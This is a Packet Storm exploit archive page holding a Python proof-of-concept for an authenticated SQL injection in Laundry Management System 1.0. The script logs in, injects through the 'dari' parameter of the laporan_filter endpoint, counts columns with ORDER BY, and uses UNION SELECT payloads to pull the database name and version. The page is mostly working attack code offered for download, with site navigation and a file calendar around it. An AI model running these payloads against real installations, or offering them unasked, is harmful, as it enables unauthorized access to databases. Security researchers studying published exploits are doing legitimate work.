what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Laundry Management System 1.0 SQL Injection

Laundry Management System 1.0 SQL Injection
Posted Jun 29, 2022
Authored by syad

Laundry Management System version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 27776f1f78eba7702b6e6b65d68620efe1f4862d005d9a21432af48089120311

Laundry Management System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Laundry Management System 1.0 - Authenticated SQL Injection
# Date: 29-06-2022
# Exploit Author: syad
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ci_laundry.zip
# Version: 1.0
# Tested on: Windows 10 + XAMPP 3.2.4
# CVE ID : N/A

# Description
# The dari parameter does not perform input validation on the laporan_filter.php file it allow authenticated SQL Injection




import sys
import requests
sess = requests.Session()

proxies = {"https": "https://127.0.0.1:8080", "http": "https://127.0.0.1:8080"}

def login(ip,username,password):
target = "https://%s/ci_laundry/welcome/login" % ip
daftar = {'username':username,'password':password}
masuk = sess.post(target, data=daftar, proxies=proxies)
if "Dashboard" in masuk.text:
print("[$] Success Login :)")
else:
return False


def trigger_sqli(ip):
target = "https://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1'",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if "You have an error in your SQL syntax" in test.text:
print("[$] Trigger SQL Injection !!!! :)")
else:
return False


def count_column(ip):
target = "https://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1' ORDER BY 14-- -",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if test.status_code == 200:
print("[$] Found 14 Column In Database !!! :)")


def got_database_name(ip):
target = "https://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14-- -",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if "laundry_db" in test.text:
print("[$] Found Database Name is => laundry_db")

def got_version_data(ip):
target = "https://%s/ci_laundry/pengeluaran/laporan_filter" % ip
sql = {"dari":"1' union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14-- -",'sampai':'123'}
test = sess.post(target, data=sql, proxies=proxies)
if "10.4.24-MariaDB" in test.text:
print("[$] Found Version Database is => 10.4.24-MariaDB")



if __name__ == "__main__":
try:
ip = sys.argv[1].strip()
username = sys.argv[2].strip()
password = sys.argv[3].strip()
except IndexError:
print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])
print("[-] Example: %s 192.168.1.x admin admin123" % sys.argv[0])
sys.exit(-1)


login(ip,username,password)
trigger_sqli(ip)
count_column(ip)
got_database_name(ip)
got_version_data(ip)
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close